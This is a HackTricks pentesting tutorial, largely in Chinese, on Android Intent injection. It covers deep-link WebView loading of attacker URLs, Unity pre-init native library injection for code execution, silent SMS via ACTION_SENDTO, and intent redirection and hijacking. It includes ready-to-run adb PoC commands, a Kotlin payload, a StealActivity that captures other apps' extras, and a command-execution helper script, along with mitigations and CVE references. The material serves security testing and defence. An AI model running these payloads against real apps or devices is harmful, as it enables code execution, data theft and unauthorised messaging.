Intent Injection

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

Intent injection 滥用接受攻击者控制的 Intents 或随后被转换为 Intents 的数据的组件。Android 应用 pentests 中两个非常常见的模式是:

  • 向 exported Activities/Services/BroadcastReceivers 传递精心构造的 extras,这些 extras 随后被转发到有特权的、non-exported 组件。
  • 触发 exported VIEW/BROWSABLE deep links,将攻击者控制的 URLs 转发到内部 WebViews 或其他敏感 sinks。

如果一个 app 暴露了自定义 scheme 的 deep link,例如:

myscheme://com.example.app/web?url=<attacker_url>

并且接收的 Activity 将 url 查询参数转发到 WebView,你可以强制该应用在其自己的 WebView 上下文中渲染任意远程内容。

通过 adb 的 PoC:

# Implicit VIEW intent
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

# Or explicitly target an Activity
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

Impact

  • HTML/JS 在应用的 WebView 配置内执行。
  • 如果 JavaScript 被启用(默认或因检查顺序错误),攻击者可以枚举/使用任何暴露的 @JavascriptInterface 对象,窃取 WebView cookies/本地存储,并进行 pivot。

See also:

Webview Attacks

Order-of-checks bug enabling JavaScript

一个常见的漏洞是在最终 URL 允许列表/验证完成之前就启用 JavaScript(或其他过于宽松的 WebView 设置)。如果早期的 helper 接受了你的 deep link 并且先配置了 WebView,则最终加载会在 JavaScript 已启用的情况下发生,即使后续的检查有问题或为时已晚。

在反编译代码中应注意:

  • 多个 helper 以不同方式解析/拆分/重建 URL(归一化不一致)。
  • 在最后的 host/path 允许列表检查之前调用了 getSettings().setJavaScriptEnabled(true)
  • 一个类似的处理流水线:parse → partial validate → configure WebView → final verify → loadUrl。

Unity Runtime: Intent-to-CLI extras → pre-init native library injection (RCE)

基于 Unity 的 Android 应用通常使用 com.unity3d.player.UnityPlayerActivity(或 UnityPlayerGameActivity)作为入口 Activity。Unity 的 Android 模板将名为 unity 的特殊 Intent extra 视为传递给 Unity runtime 的命令行标志字符串。当入口 Activity 被 exported(许多模板中为默认)时,任何本地应用——有时如果存在 BROWSABLE,甚至网站——都可以提供此 extra。

一个危险且未记录的标志会在非常早的进程初始化阶段导致本地代码执行:

  • Hidden flag: -xrsdk-pre-init-library <absolute-path>
  • Effect: dlopen(<absolute-path>, RTLD_NOW) 在 init 的非常早期被调用,将攻击者控制的 ELF 加载到目标应用进程中,并继承该进程的 UID 与权限。

Reverse-engineering excerpt (simplified):

// lookup the arg value
initLibPath = FUN_00272540(uVar5, "xrsdk-pre-init-library");
// load arbitrary native library early
lVar2 = dlopen(initLibPath, 2); // RTLD_NOW

为什么可行

  • Intent 额外字段 unity 会被解析为 Unity 运行时标志。
  • 提供 pre-init 标志会使 Unity 指向位于允许的 linker 命名空间路径内、由 attacker 控制的 ELF 路径(见下方约束)。

可利用的条件

  • Unity 的入口 Activity 被 exported(默认通常为 true)。
  • 对于通过浏览器的一键远程:入口 Activity 还声明了 android.intent.category.BROWSABLE,从而可以通过 intent: URL 传递 extras。

本地利用(同一设备)

  1. 将 payload ELF 放在 victim app 可读取的路径。最简单:在你自己的 attacker app 中随附一个恶意库,并通过在 attacker’s manifest 中设置,确保它被解压到 /data/app/.../lib/<abi>/ 下:
<application android:extractNativeLibs="true" ...>
  1. unity extra 中使用 CLI pre-init flag 启动受害者的 Unity activity。示例 ADB PoC:
adb shell am start \
-n com.victim.pkg/com.unity3d.player.UnityPlayerActivity \
-e unity "-xrsdk-pre-init-library /data/app/~~ATTACKER_PKG==/lib/arm64/libpayload.so"
  1. Unity calls dlopen("/data/.../libpayload.so", RTLD_NOW);你的 payload 在受害者进程中运行,继承该应用的所有 app permissions (camera/mic/network/storage 等) 并可访问应用内会话/数据。

Notes

  • 精确的 /data/app/... 路径因设备/安装而异。攻击者 app 可以在运行时通过 getApplicationInfo().nativeLibraryDir 获取其自身的 native lib 目录并将其传给触发器。
  • 该文件不需要以 .so 结尾,只要是合法的 ELF —— dlopen() 看重的是 ELF 头,而不是文件扩展名。

Remote one‑click via browser (conditional) 如果 Unity 的 entry activity 使用 BROWSABLE 导出,网站可以通过 intent: URL 传递 extras:

intent:#Intent;package=com.example.unitygame;scheme=whatever;\
S.unity=-xrsdk-pre-init-library%20/data/local/tmp/malicious.so;end;

然而,在现代 Android 上,dynamic linker namespaces 和 SELinux 会阻止从许多公共路径加载(例如 /sdcard/Download)。你会看到如下错误:

library "/sdcard/Download/libtest.so" ("/storage/emulated/0/Download/libtest.so") needed
or dlopened by "/data/app/.../lib/arm64/libunity.so" is not accessible for the
namespace: [name="clns-...", ... permitted_paths="/data:/mnt/expand:/data/data/com.example.unitygame"]

绕过策略: 以缓存攻击者可控字节到其私有存储(例如 HTTP 缓存)的应用为目标。因为允许的路径包括 /data 和应用的私有目录,将 -xrsdk-pre-init-library 指向应用缓存内的绝对路径可以满足链接器约束并导致代码执行。这与之前在其他 Android 应用中出现的 cache-to-ELF RCE 模式相似。

Confused‑Deputy: 通过 ACTION_SENDTO 实现静默 SMS/MMS (Wear OS Google Messages)

某些默认消息应用会错误地自动执行隐式消息 intents,将其变成一个 confused‑deputy 原语:任何无特权的应用都可以触发 Intent.ACTION_SENDTO 并使用 sms:smsto:mms:mmsto: 导致立即发送,且没有确认 UI,也不需要 SEND_SMS 权限。

Key points

  • Trigger: implicit ACTION_SENDTO + messaging URI scheme.
  • Data: set recipient in the URI, message text in the "sms_body" extra.
  • Permissions: none (no SEND_SMS), relies on the default SMS/MMS handler.
  • Observed: Google Messages for Wear OS (patched May 2025). Other handlers should be assessed similarly.

Minimal payload (Kotlin)

val intent = Intent(Intent.ACTION_SENDTO).apply {
data = Uri.parse("smsto:+11234567890") // or sms:, mms:, mmsto:
putExtra("sms_body", "Hi from PoC")
// From a non-Activity context add NEW_TASK
addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
}
startActivity(intent)

ADB PoC (无需特殊权限)

# SMS/SMS-to
adb shell am start -a android.intent.action.SENDTO -d "smsto:+11234567890" --es sms_body "hello"
adb shell am start -a android.intent.action.SENDTO -d "sms:+11234567890"   --es sms_body "hello"

# MMS/MMS-to (handler-dependent behaviour)
adb shell am start -a android.intent.action.SENDTO -d "mmsto:+11234567890" --es sms_body "hello"
adb shell am start -a android.intent.action.SENDTO -d "mms:+11234567890"   --es sms_body "hello"

攻击面扩展 (Wear OS)

  • 任何能够启动 Activities 的组件都能触发相同的 payload:Activities、foreground Services(带有 FLAG_ACTIVITY_NEW_TASK)、Tiles、Complications。
  • 如果默认处理器会自动发送,则根据 OEM 策略,滥用可能表现为一键发送或在后台上下文中完全静默发送。

Pentest checklist

  • 在目标上解析 ACTION_SENDTO 以识别默认处理器;验证它是否显示撰写界面或静默发送。
  • 测试所有四种 schemes (sms:, smsto:, mms:, mmsto:) 和 extras (sms_body, 可选的 subject 用于 MMS) 以检查行为差异。
  • 在真实设备上测试时,考虑付费目标/高费率号码。

Other classic Intent injection primitives

  • 使用攻击者提供的 Intent extras 的 startActivity/sendBroadcast,这些 extras 随后被重新解析(Intent.parseUri(...))并执行。
  • 导出的代理组件在没有权限检查的情况下将 Intents 转发到未导出的敏感组件。

Automating exported-component testing (Smali-driven ADB generation)

当导出组件期望特定的 extras 时,猜测 payload 结构会浪费时间并导致假阴性。你可以直接从 Smali 自动发现 keys/types 并生成可直接运行的 adb 命令。

Tool: APK Components Inspector

  • Repo: https://github.com/thecybersandeep/apk-components-inspector
  • Approach: 反编译并扫描 Smali,以查找类似于 getStringExtra("key")getIntExtra("id", ...)getParcelableExtra("redirect_intent")getSerializableExtra(...)getBooleanExtra(...)getAction()getData() 的调用,从而推断每个组件所消费的 extras 和字段。
  • Output: 对于每个导出的 Activity/Service/Receiver/Provider,工具会打印简短说明以及带有正确类型标志的精确 adb shell am .../cmd content ... 命令。

安装

git clone https://github.com/thecybersandeep/apk-components-inspector
cd apk-components-inspector
python3 -m venv venv && source venv/bin/activate
pip install androguard==3.3.5 rich

用法

python apk-components-inspector.py target.apk

示例输出

adb shell am start -n com.target/.ExportedActivity --es url https://example.tld
adb shell am startservice -n com.target/.ExportedService --ei user_id 1337 --ez force true
adb shell am broadcast -n com.target/.ExportedReceiver -a com.target.ACTION --es redirect_intent "intent:#Intent;component=com.target/.Internal;end"
adb shell cmd content query --uri content://com.target.provider/items

ADB am extras 备忘清单(类型感知标志)

  • 字符串: --es key value | 字符串数组: --esa key v1,v2
  • 整数: --ei key 123 | 整数数组: --eia key 1,2,3
  • 布尔值: --ez key true|false
  • 长整型: --el key 1234567890
  • 浮点数: --ef key 1.23
  • URI(extra): --eu key content://... | 数据 URI (Intent data): -d content://...
  • Component extra: --ecn key com.pkg/.Cls
  • 空字符串 extra: --esn key
  • 常用标志: -a <ACTION> -c <CATEGORY> -t <MIME> -f <FLAGS> --activity-clear-task --activity-new-task

Providers 专业提示

  • 使用 adb shell cmd content query|insert|update|delete ... 来访问 ContentProviders,无需 agents。
  • 对于 SQLi probing,针对底层 provider 为 SQLite 时,变换 --projection--where(即 selection)。

全流程自动化(交互式执行器)

# generate and capture commands then execute them one by one interactively
python apk-components-inspector.py app.apk | tee adbcommands.txt
python run_adb_commands.py
用于解析并执行 adb 命令的辅助脚本 ```python import subprocess

def parse_adb_commands(file_path): with open(file_path, ‘r’) as file: lines = file.readlines() commands = [] current = [] for line in lines: s = line.strip() if s.startswith(“adb “): current = [s] elif s.startswith(”#“) or not s: if current: full = ’ ’.join(current).replace(” \ “, “ “).replace(”\“, “”).strip() commands.append(full) current = [] elif current: current.append(s) if current: full = ’ ’.join(current).replace(“ \ “, “ “).replace(”\“, “”).strip() commands.append(full) return commands

for i, cmd in enumerate(parse_adb_commands(‘adbcommands.txt’), 1): print(f“\nCommand {i}: {cmd}“) input(“Press Enter to execute this command…”) try: r = subprocess.run(cmd, shell=True, check=True, text=True, capture_output=True) print(“Output:\n”, r.stdout) if r.stderr: print(“Errors:\n”, r.stderr) except subprocess.CalledProcessError as e: print(f“Command failed with error:\n{e.stderr}“)

</details>

在设备上运行:inspector 基于 Python,可在 Termux 或已 root 的手机上运行,前提是安装了 `apktool`/`androguard`。

---

## Intent Redirection (CWE-926) – 发现与利用

Pattern
- 一个导出的入口点 (Activity/Service/Receiver) 读取传入的 Intent 并在不验证来源/数据的情况下向内部或外部转发,例如:
- `startActivity(getIntent())`
- `startActivity(intent)` where `intent` came from an extra like `redirect_intent`/`next_intent`/`pending_intent` or `Intent.parseUri(...)`.
- Trusting `action`/`data`/`component` fields without checks; not verifying caller identity.

What to search in Smali/Java
- Uses of `getParcelableExtra("redirect_intent")`, `getParcelable("intent")`, `getIntent().getParcelableExtra(...)`.
- Direct `startActivity(...)`, `startService(...)`, `sendBroadcast(...)` on attacker-influenced Intents.
- Lack of `getCallingPackage()`/`getCallingActivity()` checks or custom permission gates.

ADB PoC templates
- Proxy Activity forwarding an extra Intent to a privileged internal Activity:
```bash
adb shell am start -n com.target/.ProxyActivity \
--es redirect_intent 'intent:#Intent;component=com.target/.SensitiveActivity;end'
  • 导出的 Service,支持 redirect_intent parcelable:
adb shell am startservice -n com.target/.ExportedService \
--es redirect_intent 'intent:#Intent;component=com.target/.PrivService;action=com.target.DO;end'
  • 导出的 Receiver 在不进行验证的情况下转发:
adb shell am broadcast -n com.target/.RelayReceiver -a com.target.RELAY \
--es forwarded 'intent:#Intent;component=com.target/.HiddenActivity;S.extra=1;end'

对 singleTask 风格行为有帮助的 Flags

# Ensure a fresh task when testing Activities that check task/intent flags
adb shell am start -n com.target/.ExportedActivity --activity-clear-task --activity-new-task

真实案例(影响因情况而异):

  • CVE-2024-26131 (Element Android): exported flows leading to WebView manipulation, PIN bypass, login hijack.
  • CVE-2023-44121 (LG ThinQ Service): exported receiver action com.lge.lms.things.notification.ACTION → system-level effects.
  • CVE-2023-30728 (Samsung PackageInstallerCHN < 13.1.03.00): redirection → arbitrary file access (w/ user interaction).
  • CVE-2022-36837 (Samsung Email < 6.1.70.20): implicit Intents leak content.
  • CVE-2021-4438 (React Native SMS User Consent).
  • CVE-2020-14116 (Xiaomi Mi Browser).

Intent Hijacking (implicit intents)

威胁模型

  • App A 期望从 App B 通过 implicit Intent 接收敏感结果(例如,OAuth redirect、document picker result、IMAGE_CAPTURE return,或 custom callback action)。
  • 攻击者 App C 发布一个带有匹配 <intent-filter> 的 exported component,匹配相同的 action/category/data。当 B 解析该 implicit Intent 时,resolver 可能会显示 chooser;如果用户选择 C(或将其设置为默认),payload 会发送到攻击者组件而不是 A。

最小 PoC manifest(攻击者):

<activity android:name=".StealActivity" android:exported="true">
<intent-filter>
<action android:name="com.victim.app.ACTION_CALLBACK"/>
<category android:name="android.intent.category.DEFAULT"/>
<!-- Optionally constrain MIME or scheme/host/path to increase match score -->
<!-- <data android:mimeType="application/json"/> -->
<!-- <data android:scheme="myscheme" android:host="callback"/> -->
</intent-filter>
</activity>

处理程序骨架:

public class StealActivity extends Activity {
@Override protected void onCreate(Bundle b) {
super.onCreate(b);
Intent i = getIntent();
Bundle extras = i.getExtras();
Uri data = i.getData();
// Dump/forward sensitive result
android.util.Log.i("HIJACK", "action="+i.getAction()+" data="+data+" extras="+extras);
finish();
}
}

注意事项

  • 匹配的具体性很重要(action + categories + data)。C 的过滤器对 B 的外发 Intent 越具体,被显示或自动选中的可能性就越大。
  • 当应用期望另一个应用处理某个 URL 并返回结果时,这对于 deep links (VIEW + BROWSABLE) 同样适用。

Pentest guidance

  • 在目标中 grep startActivity/startActivityForResult/registerForActivityResult 调用,查找使用非显式 Intents 的情况。
  • 检查在 extrasclipDatagetData() 中携带 token 的 Intents,判断第三方是否能够注册兼容的过滤器。
  • 建议将隐式流程替换为显式 Intent(设置 setPackage()/setComponent()),或者在导出的接收器/服务上要求 caller-permission/signed permissions。

缓解措施

  • 对敏感流程(回调、tokens、auth 结果)优先使用显式 Intents。
  • 当需要跨应用时,为接收组件添加权限要求并验证调用者身份。
  • 限制并收紧 Intent 过滤器,仅保留严格需要的内容(scheme/host/path/MIME)。

观察解析器的决策 (FLAG_DEBUG_LOG_RESOLUTION)

当你控制发送方时,将 Intent.FLAG_DEBUG_LOG_RESOLUTION 添加到隐式 Intent,可让 Android 记录解析过程以及将被选中的组件。

示例:

Intent intent = new Intent();
intent.setAction("android.media.action.IMAGE_CAPTURE");
intent.addFlags(Intent.FLAG_DEBUG_LOG_RESOLUTION);
startActivityForResult(intent, 42);

adb logcat 中你会看到解析跟踪和最终组件,例如 com.android.camera2/com.android.camera.CaptureActivity

CLI 提示

# You can also set the debug flag from adb when firing an implicit Intent
# 0x00000008 == Intent.FLAG_DEBUG_LOG_RESOLUTION on modern Android
adb shell am start -a android.media.action.IMAGE_CAPTURE -f 0x00000008

# Then inspect the resolution in logs
adb logcat | grep -i -E "resolve|Resolver|PackageManager|ActivityTaskManager"

这有助于在设备/模拟器上枚举候选处理程序,并在测试期间准确确认哪个组件将接收 Intent。


参考资料

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks